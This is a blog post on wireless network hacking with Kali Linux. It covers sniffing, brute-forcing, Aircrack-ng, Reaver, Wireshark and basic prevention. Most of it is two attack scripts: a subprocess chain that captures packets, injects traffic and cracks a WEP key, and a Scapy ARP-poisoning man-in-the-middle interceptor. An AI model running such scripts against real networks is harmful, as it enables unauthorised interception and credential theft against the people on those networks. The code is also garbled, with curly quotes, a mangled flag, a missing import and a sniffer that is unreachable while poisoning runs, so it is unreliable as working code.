Kali Linux for Wireless Network Hacking: Tools and Techniques:-
Wireless networks have become ubiquitous in our lives, but their popularity has also made them vulnerable to hacking. In this blog, we will discuss how Kali Linux can be used for wireless network hacking and what tools and techniques are available to the hackers.
Introduction: Kali Linux is a powerful and widely used operating system for penetration testing and ethical hacking. It provides a plethora of tools and utilities to test and exploit vulnerabilities in different types of networks, including wireless networks. Wireless networks are the most commonly used type of network for personal and commercial purposes. However, they are also the most vulnerable to attacks, as they use radio waves to transmit data over the air, which can be intercepted and manipulated by hackers.
Wireless Network Hacking Techniques: Wireless network hacking can be accomplished using various techniques, including sniffing, brute-forcing, and exploiting vulnerabilities in the wireless protocols. One of the most common techniques used by hackers is sniffing, which involves intercepting and capturing network traffic to obtain valuable information, such as passwords and login credentials. Brute-forcing, on the other hand, involves trying multiple passwords and login credentials until the correct one is found.
Tools for Wireless Network Hacking: Kali Linux provides a variety of tools for wireless network hacking, including Aircrack-ng, Reaver, and Wireshark. Aircrack-ng is a powerful tool for cracking WEP and WPA encryption keys and can be used to sniff and capture network traffic. Reaver is another useful tool that can be used to exploit vulnerabilities in the WPS protocol, which is commonly used in wireless routers. Wireshark is a packet analyzer that can be used to capture and analyze network traffic, allowing hackers to detect and exploit vulnerabilities in the network.
“Wireless networks are like open highways, providing easy access to information for anyone with the right tools and knowledge.” — Kevin Mitnick
Preventing Wireless Network Hacking: Wireless network hacking can be prevented by taking various measures, including securing the wireless network with a strong password, enabling WPA2 encryption, and disabling WPS. Another useful measure is to disable SSID broadcasting, which makes the network invisible to hackers. Additionally, it is important to keep the wireless router firmware up to date, as outdated firmware can contain vulnerabilities that can be exploited by hackers.
Python code for cracking WEP encryption keys using Aircrack-ng tool in Kali Linux:
import subprocess
# Enter the name of the wireless interface to be used
interface = “wlan0”# Enter the name of the target network and its BSSID
network = “target_network”
bssid = “00:11:22:33:44:55”# Run the Aircrack-ng command to capture packets and crack the WEP key
subprocess.call([“airmon-ng”, “start”, interface])
subprocess.call([“airodump-ng”, “-c”, “6”, “ — bssid”, bssid, “-w”, “capture”, interface])
subprocess.call([“aireplay-ng”, “-1”, “0”, “-a”, bssid, “-h”, “00:11:22:33:44:55”, interface])
subprocess.call([“aireplay-ng”, “-3”, “-b”, bssid, “-h”, “00:11:22:33:44:55”, interface])
subprocess.call([“aircrack-ng”, “-b”, bssid, “capture-01.cap”])
Python code that demonstrates how to use the Scapy library in Python to perform a Man-in-the-Middle (MITM) attack on a wireless network:
import sys
import time
from scapy.all import *# Define the MAC addresses of the target and gateway devices
target_mac = “00:11:22:33:44:55”
gateway_mac = “AA:BB:CC:DD:EE:FF”# Define the IP addresses of the target and gateway devices
target_ip = “192.168.1.100”
gateway_ip = “192.168.1.1”# Define the packet forwarding function
def packet_forward(packet):
# Check if the packet is from the target device to the gateway device
if packet[Ether].src == target_mac and packet[IP].src == target_ip and packet[Ether].dst == gateway_mac and packet[IP].dst == gateway_ip:
print(“[+] Intercepted packet from target to gateway: “, packet.summary())
# Modify the packet’s source MAC address to the attacker’s MAC address
packet[Ether].src = get_if_hwaddr(“wlan0”)
# Forward the modified packet to the gateway device
send(packet)
# Check if the packet is from the gateway device to the target device
elif packet[Ether].src == gateway_mac and packet[IP].src == gateway_ip and packet[Ether].dst == target_mac and packet[IP].dst == target_ip:
print(“[+] Intercepted packet from gateway to target: “, packet.summary())
# Modify the packet’s destination MAC address to the attacker’s MAC address
packet[Ether].dst = get_if_hwaddr(“wlan0”)
# Forward the modified packet to the target device
send(packet)# Enable IP forwarding on the attacker’s machine
subprocess.call(“echo 1 > /proc/sys/net/ipv4/ip_forward”, shell=True)# Construct the ARP packets to poison the target’s ARP cache
target_arp = ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=gateway_ip)
gateway_arp = ARP(op=2, pdst=gateway_ip, hwdst=gateway_mac, psrc=target_ip)print(“[+] Starting ARP poisoning…”)
try:
while True:
# Send the ARP packets to the target and gateway devices every two seconds
send(target_arp)
send(gateway_arp)
time.sleep(2)
except KeyboardInterrupt:
print(“[+] Stopping ARP poisoning…”)# Set up the packet sniffer to intercept packets between the target and gateway devices
print(“[+] Starting packet sniffer…”)
sniff(prn=packet_forward, filter=”host %s and host %s” % (target_ip, gateway_ip), store=0)
Conclusion: Wireless network hacking is a serious issue that can compromise the security and privacy of users. Kali Linux provides a powerful set of tools and techniques for testing and exploiting vulnerabilities in wireless networks. However, it is important to note that these tools should only be used for ethical and legal purposes, such as penetration testing and security audits. By taking appropriate measures to secure wireless networks, users can prevent these attacks and ensure the safety of their data.
